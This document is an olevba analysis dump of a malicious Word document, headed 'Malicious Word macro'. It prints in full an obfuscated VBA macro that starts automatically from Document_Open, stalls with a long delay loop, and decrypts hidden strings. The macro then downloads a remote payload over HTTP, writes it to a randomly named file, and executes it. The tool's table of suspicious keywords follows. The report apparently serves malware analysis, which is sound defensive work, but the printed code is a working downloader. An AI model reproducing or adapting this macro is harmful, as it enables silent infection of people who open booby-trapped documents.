Malicious Word macro

olevba 0.31 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OpX:MAS-HB-V teresa~1.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: teresa~1.doc
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub UT2lVxGGeo0VLREk3(QrPZ As Long)
Dim MoMo8neU As Long, Nvj9phdNJ As Long
MoMo8neU = 33
Nvj9phdNJ = 77
If MoMo8neU + Nvj9phdNJ > 2 Then
Nvj9phdNJ = MoMo8neU + 90
Else
InputBox 5
End If
Dim QsE6Qar7nhH As Long
Dim NLboM As Long, Nj1pL5UNCknSLR As Long
NLboM = 8
Nj1pL5UNCknSLR = 26
If NLboM + Nj1pL5UNCknSLR > 2 Then
Nj1pL5UNCknSLR = NLboM + 27
Else
InputBox 23
End If
QsE6Qar7nhH = Timer + QrPZ
Do While Timer < QsE6Qar7nhH
DoEvents
Loop
Dim FQG3JouSEr As Long, YUG2BKERumpKmmB As Long
FQG3JouSEr = 23
YUG2BKERumpKmmB = 66
If FQG3JouSEr + YUG2BKERumpKmmB > 2 Then
YUG2BKERumpKmmB = FQG3JouSEr + 90
Else
InputBox 18
End If
End Sub
Sub M9wDgoaeTX3()
Dim E2UgfE As Long, UzLBYgkhB3aIOtgMP As Long
E2UgfE = 64
UzLBYgkhB3aIOtgMP = 69
If E2UgfE + UzLBYgkhB3aIOtgMP > 2 Then
UzLBYgkhB3aIOtgMP = E2UgfE + 9
Else
InputBox 63
End If
Randomize
YbnZHj9 = UCase(24)
GetObject 19, 7
AppActivate 42
NPer 36, 80, 22
Beep
If CDbl(69) = True Then H0lmLWD6j = 80
Choose 73, XDMwILFyUiw
App.LogEvent "KGxODPJl"
LoadPicture 95, 2, 30, 71, 74
QL27aWNmpJXYTR = DateValue(92)
U7N8XjbW3GBEK = CVar(12)
Atn 2
Err.Clear
RdIyQpxjM = CurDir
If CBool(58) = True Then BcQ7IfrEWvZy = 88
DateSerial 24, 63, 88
Hour 68
CreateObject "QRumpKmmBd", "EwcYJAOm"
GrXrkiM1dcoj = Cos(10)
Tan 30
Load GMuy3irEDKAG7JtL
Join XSo2SruPf, 47
TimeValue 48
ChDrive 45
Reset
If CDec(54) = True Then H05tV5iavWBcEMwXB = 26
TimeSerial 12, 26, 84
HuEEGHJbZMLi0Qxs = LCase(10)
Err.Raise 8
Dim NFINxTzR1CHQFlD1RA As Long, X72Yc As Long
NFINxTzR1CHQFlD1RA = 2
X72Yc = 20
If NFINxTzR1CHQFlD1RA + X72Yc > 2 Then
X72Yc = NFINxTzR1CHQFlD1RA + 65
Else
InputBox 55
End If
End Sub
Sub BVYKmATY1Sk()
Dim E4SYh1vU As Long, EZspzHEOl8s As Long
E4SYh1vU = 70
EZspzHEOl8s = 25
If E4SYh1vU + EZspzHEOl8s > 2 Then
EZspzHEOl8s = E4SYh1vU + 88
Else
InputBox 23
End If
Dim O5M0g298BWjPblj As String, Nom1xcv4lW As Object, ArNM As Integer
Dim WrEfs1w74DROcLsM4 As Long, VT8vn8FfejF As Long
WrEfs1w74DROcLsM4 = 41
VT8vn8FfejF = 41
If WrEfs1w74DROcLsM4 + VT8vn8FfejF > 2 Then
VT8vn8FfejF = WrEfs1w74DROcLsM4 + 93
Else
InputBox 10
End If
O5M0g298BWjPblj = Environ(NzpSbnF0tTwF(LTGtLdmfe6("D106D1C992140B"), "HEnSN34d5Piya4IZ")) & "\" & K1F2Odae7gAe9kt & NzpSbnF0tTwF(LTGtLdmfe6("691E41BC"), "QlSzx68AvzvA")
Dim YuhuYuNjqRXV4 As Long, Lw6ULgNCrccZjM As Long
YuhuYuNjqRXV4 = 75
Lw6ULgNCrccZjM = 36
If YuhuYuNjqRXV4 + Lw6ULgNCrccZjM > 2 Then
Lw6ULgNCrccZjM = YuhuYuNjqRXV4 + 53
Else
InputBox 55
End If
Set Nom1xcv4lW = CreateObject(NzpSbnF0tTwF(LTGtLdmfe6("D701E9FD0CDF160440C9FFD98A34539301"), "QkcJhoYEy8i"))
Dim Oph6mJdmof As Long, IGd8dL2izlHD5uqk As Long
Oph6mJdmof = 60
IGd8dL2izlHD5uqk = 9
If Oph6mJdmof + IGd8dL2izlHD5uqk > 2 Then
IGd8dL2izlHD5uqk = Oph6mJdmof + 9
Else
InputBox 61
End If
Nom1xcv4lW.Open NzpSbnF0tTwF(LTGtLdmfe6("8DA4E8"), "YjdTufPN5"), NzpSbnF0tTwF(LTGtLdmfe6("5131C8C93A5EE4460AB8BCA5B14DA715AB6D37625CE5E0EE875644"), "VpNzfbLiI7"), False
Dim HGYnrl3Bl As Long, HI3Cj6S2mkB As Long
HGYnrl3Bl = 18
HI3Cj6S2mkB = 22
If HGYnrl3Bl + HI3Cj6S2mkB > 2 Then
HI3Cj6S2mkB = HGYnrl3Bl + 84
Else
InputBox 23
End If
Nom1xcv4lW.setRequestHeader NzpSbnF0tTwF(LTGtLdmfe6("075429E4420C2413D960"), "HAmTOXdOf"), NzpSbnF0tTwF(LTGtLdmfe6("23954AE47F519BA1FFC5E6"), "GBQC13cQE2A7DK")
Nom1xcv4lW.send
If Nom1xcv4lW.readyState = 4 And Nom1xcv4lW.Status = 200 Then
Dim XjtGHi3fW0vicIZ As Long, BKfl9WWEA As Long
XjtGHi3fW0vicIZ = 33
BKfl9WWEA = 76
If XjtGHi3fW0vicIZ + BKfl9WWEA > 2 Then
BKfl9WWEA = XjtGHi3fW0vicIZ + 45
Else
InputBox 66
End If
ArNM = FreeFile
Open O5M0g298BWjPblj For Binary Access Write Lock Write As #ArNM
Put #ArNM, , NzpSbnF0tTwF(StrConv(Nom1xcv4lW.ResponseBody, vbUnicode), NzpSbnF0tTwF(LTGtLdmfe6("8D993690AE70537D21"), "FYuo35ita"))
Close #ArNM
Dim Xt50fXAwn6FXjO As Long, Di7O35mQk As Long
Xt50fXAwn6FXjO = 78
Di7O35mQk = 66
If Xt50fXAwn6FXjO + Di7O35mQk > 2 Then
Di7O35mQk = Xt50fXAwn6FXjO + 2
Else
InputBox 95
End If
UT2lVxGGeo0VLREk3 1
Dim HQQR56M61xE8Bw As Long, UJ9B4pUM9i As Long
HQQR56M61xE8Bw = 40
UJ9B4pUM9i = 30
If HQQR56M61xE8Bw + UJ9B4pUM9i > 2 Then
UJ9B4pUM9i = HQQR56M61xE8Bw + 86
Else
InputBox 17
End If
CreateObject(NzpSbnF0tTwF(LTGtLdmfe6("149590C94E324D290204D30151"), "MaCO2o86")).exec """" & O5M0g298BWjPblj & """"
Dim Cn7M6vz35mQk As Long, HsDN As Long
Cn7M6vz35mQk = 8
HsDN = 26
If Cn7M6vz35mQk + HsDN > 2 Then
HsDN = Cn7M6vz35mQk + 71
Else
InputBox 61
End If
End If
Dim RIsovz3m57p94 As Long, Eiw0Jpze As Long
RIsovz3m57p94 = 44
Eiw0Jpze = 56
If RIsovz3m57p94 + Eiw0Jpze > 2 Then
Eiw0Jpze = RIsovz3m57p94 + 92
Else
InputBox 9
End If
Set Nom1xcv4lW = Nothing
Dim BlKQtk5FLVFq37q3m As Long, OWLpMWDgpCK As Long
BlKQtk5FLVFq37q3m = 31
OWLpMWDgpCK = 49
If BlKQtk5FLVFq37q3m + OWLpMWDgpCK > 2 Then
OWLpMWDgpCK = BlKQtk5FLVFq37q3m + 68
Else
InputBox 58
End If
End Sub
Function LTGtLdmfe6(WLmggEu4wPuCf6U As String) As String
Dim PpZWiw1uZdc As Long, JcyMl8jUXzYzWowW7 As Long
PpZWiw1uZdc = 94
JcyMl8jUXzYzWowW7 = 6
If PpZWiw1uZdc + JcyMl8jUXzYzWowW7 > 2 Then
JcyMl8jUXzYzWowW7 = PpZWiw1uZdc + 97
Else
InputBox 21
End If
Dim DuWXgdp27trqD As Integer
Dim GeNmc As Long, UjU1G As Long
GeNmc = 87
UjU1G = 25
If GeNmc + UjU1G > 2 Then
UjU1G = GeNmc + 40
Else
InputBox 20
End If
For DuWXgdp27trqD = 1 To Len(WLmggEu4wPuCf6U) Step 2
LTGtLdmfe6 = LTGtLdmfe6 & Chr$(Val(Chr$(38) & Chr$(72) & Mid$(WLmggEu4wPuCf6U, DuWXgdp27trqD, 2)))
Next
Dim QlSBJGU0f As Long, CQHhnogE77d As Long
QlSBJGU0f = 69
CQHhnogE77d = 19
If QlSBJGU0f + CQHhnogE77d > 2 Then
CQHhnogE77d = QlSBJGU0f + 69
Else
InputBox 91
End If
End Function
Function NzpSbnF0tTwF(ByVal Y1ixbJD4zEeQf8L As String, ByVal DHMGldOlgx As String) As String
Dim Nizo32MUrfyUV0G As Long, Tdsrl8orbChF As Long
Nizo32MUrfyUV0G = 32
Tdsrl8orbChF = 31
If Nizo32MUrfyUV0G + Tdsrl8orbChF > 2 Then
Tdsrl8orbChF = Nizo32MUrfyUV0G + 7
Else
InputBox 80
End If
On Error Resume Next
Dim GcSHynE9wAXP As Long, SbLlS As Long
GcSHynE9wAXP = 79
SbLlS = 15
If GcSHynE9wAXP + SbLlS > 2 Then
SbLlS = GcSHynE9wAXP + 82
Else
InputBox 26
End If
Dim MiUfmjWsY(0 To 255) As Integer, MutSZPKUlLX As Long, QnU6ilN As Long, WRY09SnfNN As Long, PqeMkDOpXZU1Fo() As Byte, Je11ZTWenE() As Byte, VVAjjMRYZ As Byte
Dim XLirfX As Long, EahZ2OFGnyc As Long
XLirfX = 91
EahZ2OFGnyc = 25
If XLirfX + EahZ2OFGnyc > 2 Then
EahZ2OFGnyc = XLirfX + 97
Else
InputBox 6
End If
PqeMkDOpXZU1Fo() = StrConv(DHMGldOlgx, vbFromUnicode)
Dim AJnT9PXLP2Y00 As Long, IcUdwApr As Long
AJnT9PXLP2Y00 = 22
IcUdwApr = 60
If AJnT9PXLP2Y00 + IcUdwApr > 2 Then
IcUdwApr = AJnT9PXLP2Y00 + 20
Else
InputBox 66
End If
For MutSZPKUlLX = 0 To 255
MiUfmjWsY(MutSZPKUlLX) = MutSZPKUlLX
Next MutSZPKUlLX
MutSZPKUlLX = 0
QnU6ilN = 0
WRY09SnfNN = 0
For MutSZPKUlLX = 0 To 255
QnU6ilN = (QnU6ilN + MiUfmjWsY(MutSZPKUlLX) + PqeMkDOpXZU1Fo(MutSZPKUlLX Mod Len(DHMGldOlgx))) Mod 256
VVAjjMRYZ = MiUfmjWsY(MutSZPKUlLX)
MiUfmjWsY(MutSZPKUlLX) = MiUfmjWsY(QnU6ilN)
MiUfmjWsY(QnU6ilN) = VVAjjMRYZ
Next MutSZPKUlLX
MutSZPKUlLX = 0
QnU6ilN = 0
WRY09SnfNN = 0
Je11ZTWenE() = StrConv(Y1ixbJD4zEeQf8L, vbFromUnicode)
For MutSZPKUlLX = 0 To Len(Y1ixbJD4zEeQf8L)
QnU6ilN = (QnU6ilN + 1) Mod 256
WRY09SnfNN = (WRY09SnfNN + MiUfmjWsY(QnU6ilN)) Mod 256
VVAjjMRYZ = MiUfmjWsY(QnU6ilN)
MiUfmjWsY(QnU6ilN) = MiUfmjWsY(WRY09SnfNN)
MiUfmjWsY(WRY09SnfNN) = VVAjjMRYZ
Je11ZTWenE(MutSZPKUlLX) = Je11ZTWenE(MutSZPKUlLX) Xor (MiUfmjWsY((MiUfmjWsY(QnU6ilN) + MiUfmjWsY(WRY09SnfNN)) Mod 256))
Next MutSZPKUlLX
Dim XPWzrQQmzax0Nr2 As Long, YXSLVumtVMR As Long
XPWzrQQmzax0Nr2 = 87
YXSLVumtVMR = 38
If XPWzrQQmzax0Nr2 + YXSLVumtVMR > 2 Then
YXSLVumtVMR = XPWzrQQmzax0Nr2 + 59
Else
InputBox 48
End If
NzpSbnF0tTwF = StrConv(Je11ZTWenE, vbUnicode)
Dim Y7e4BKmxSnVe7v As Long, UZsXIQlqgYZyWc As Long
Y7e4BKmxSnVe7v = 84
UZsXIQlqgYZyWc = 32
If Y7e4BKmxSnVe7v + UZsXIQlqgYZyWc > 2 Then
UZsXIQlqgYZyWc = Y7e4BKmxSnVe7v + 43
Else
InputBox 36
End If
End Function
Function K1F2Odae7gAe9kt() As String
Dim CMVVBHyfHWhPg3 As Long, OCWte48zp As Long
CMVVBHyfHWhPg3 = 50
OCWte48zp = 62
If CMVVBHyfHWhPg3 + OCWte48zp > 2 Then
OCWte48zp = CMVVBHyfHWhPg3 + 15
Else
InputBox 94
End If
Dim IATxzRn8() As Byte, GKai3S0NCvRE() As Byte, JITwm As Long, PqPZNDOPgVmwy3853 As Long, KemFwF As String, EamvkGeI As String, OGE As Long
Dim OIOXts51Vm As Long, HKswmgVLaqN5VF As Long
OIOXts51Vm = 64
HKswmgVLaqN5VF = 21
If OIOXts51Vm + HKswmgVLaqN5VF > 2 Then
HKswmgVLaqN5VF = OIOXts51Vm + 51
Else
InputBox 86
End If
OGE = 0
Dim ClUrM As Long, Wzpd0e As Long
ClUrM = 35
Wzpd0e = 34
If ClUrM + Wzpd0e > 2 Then
Wzpd0e = ClUrM + 64
Else
InputBox 45
End If
QE5ziR0nvOIj:
Dim WLlnFsz4vWSrlhA As Long, De5TuiBlhp6 As Long
WLlnFsz4vWSrlhA = 37
De5TuiBlhp6 = 55
If WLlnFsz4vWSrlhA + De5TuiBlhp6 > 2 Then
De5TuiBlhp6 = WLlnFsz4vWSrlhA + 74
Else
InputBox 64
End If
Randomize
EamvkGeI = Int(30 * Rnd)
If EamvkGeI < 4 Then GoTo QE5ziR0nvOIj
OGE = EamvkGeI
If OGE > 0& Then
Dim VhasnVva As Long, Si7fxKOu As Long
VhasnVva = 28
Si7fxKOu = 56
If VhasnVva + Si7fxKOu > 2 Then
Si7fxKOu = VhasnVva + 71
Else
InputBox 73
End If
KemFwF = NzpSbnF0tTwF(LTGtLdmfe6("DAF84007EA153A26C441"), "U7PvLfiT0a")
Randomize
IATxzRn8 = KemFwF
JITwm = Len(KemFwF) - 1&
OGE = (OGE * 2&) - 1&
ReDim GKai3S0NCvRE(OGE) As Byte
Dim B9vvkh As Long, JCIknOdKeNIOXts As Long
B9vvkh = 59
JCIknOdKeNIOXts = 9
If B9vvkh + JCIknOdKeNIOXts > 2 Then
JCIknOdKeNIOXts = B9vvkh + 86
Else
InputBox 81
End If
For PqPZNDOPgVmwy3853 = 0& To OGE Step 2&
GKai3S0NCvRE(PqPZNDOPgVmwy3853) = IATxzRn8(CLng(JITwm * Rnd) * 2&)
Next
Dim UVXRVjPm6 As Long, Ovnb2Q7Z3n As Long
UVXRVjPm6 = 44
Ovnb2Q7Z3n = 81
If UVXRVjPm6 + Ovnb2Q7Z3n > 2 Then
Ovnb2Q7Z3n = UVXRVjPm6 + 42
Else
InputBox 87
End If
End If
Dim QmIOXts As Long, HcNaiWCJ3u2h0va As Long
QmIOXts = 55
HcNaiWCJ3u2h0va = 74
If QmIOXts + HcNaiWCJ3u2h0va > 2 Then
HcNaiWCJ3u2h0va = QmIOXts + 64
Else
InputBox 21
End If
K1F2Odae7gAe9kt = GKai3S0NCvRE
Dim PP0YbIPC As Long, U9BHm As Long
PP0YbIPC = 53
U9BHm = 65
If PP0YbIPC + U9BHm > 2 Then
U9BHm = PP0YbIPC + 57
Else
InputBox 79
End If
End Function
Sub Document_Open()
Dim TJ3u2h0va8JQL As Long, SvwNI1suwap As Long
TJ3u2h0va8JQL = 69
SvwNI1suwap = 44
If TJ3u2h0va8JQL + SvwNI1suwap > 2 Then
SvwNI1suwap = TJ3u2h0va8JQL + 18
Else
InputBox 70
End If
Dim HcAhnmMRBmS8RD As Long, L8534ZR0Bf7F As Long, Hm2K1DxRPD5MnwXP As Long
Dim YHQMd6XbTCJPKh7U As Long, PmbVJL3P8 As Long
YHQMd6XbTCJPKh7U = 20
PmbVJL3P8 = 91
If YHQMd6XbTCJPKh7U + PmbVJL3P8 > 2 Then
PmbVJL3P8 = YHQMd6XbTCJPKh7U + 23
Else
InputBox 30
End If
HcAhnmMRBmS8RD = 994673558: L8534ZR0Bf7F = 0: Hm2K1DxRPD5MnwXP = 0
Dim R52Wk4 As Long, FgxohIdODXUl As Long
R52Wk4 = 93
FgxohIdODXUl = 98
If R52Wk4 + FgxohIdODXUl > 2 Then
FgxohIdODXUl = R52Wk4 + 82
Else
InputBox 31
End If
For L8534ZR0Bf7F = 1 To HcAhnmMRBmS8RD
Hm2K1DxRPD5MnwXP = Hm2K1DxRPD5MnwXP + 1
Next L8534ZR0Bf7F
Dim Dwa7rYDIE7 As Long, EK1k5i29Ujcmn As Long
Dwa7rYDIE7 = 54
EK1k5i29Ujcmn = 61
If Dwa7rYDIE7 + EK1k5i29Ujcmn > 2 Then
EK1k5i29Ujcmn = Dwa7rYDIE7 + 67
Else
InputBox 51
End If
If Hm2K1DxRPD5MnwXP = HcAhnmMRBmS8RD Then
Dim DrRtM8FRTg As Long, IUKdCGHG As Long
DrRtM8FRTg = 73
IUKdCGHG = 43
If DrRtM8FRTg + IUKdCGHG > 2 Then
IUKdCGHG = DrRtM8FRTg + 8
Else
InputBox 13
End If
BVYKmATY1Sk
Dim WnCmXvJP As Long, DcJ9IiBo As Long
WnCmXvJP = 68
DcJ9IiBo = 59
If WnCmXvJP + DcJ9IiBo > 2 Then
DcJ9IiBo = WnCmXvJP + 60
Else
InputBox 57
End If
Else
Dim OfovYqeX As Long, SFrRtM8F As Long
OfovYqeX = 87
SFrRtM8F = 2
If OfovYqeX + SFrRtM8F > 2 Then
SFrRtM8F = OfovYqeX + 59
Else
InputBox 84
End If
M9wDgoaeTX3
Dim LJlLm5mdEmX1Tr As Long, SHGwuHorf6WS As Long
LJlLm5mdEmX1Tr = 58
SHGwuHorf6WS = 63
If LJlLm5mdEmX1Tr + SHGwuHorf6WS > 2 Then
SHGwuHorf6WS = LJlLm5mdEmX1Tr + 47
Else
InputBox 95
End If
End If
Dim BwIYbweknM As Long, EeqjPJFeOUgLXY As Long
BwIYbweknM = 19
EeqjPJFeOUgLXY = 9
If BwIYbweknM + EeqjPJFeOUgLXY > 2 Then
EeqjPJFeOUgLXY = BwIYbweknM + 65
Else
InputBox 68
End If
End Sub

+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Document_Open        | Runs when the Word document is opened   |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Binary               | May read or write a binary file (if     |
|            |                      | combined with Open)                     |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | Xor                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | Environ              | May read system environment variables   |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Put                  | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | AppActivate          | May control another application by      |
|            |                      | simulating user keystrokes              |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
+------------+----------------------+-----------------------------------------+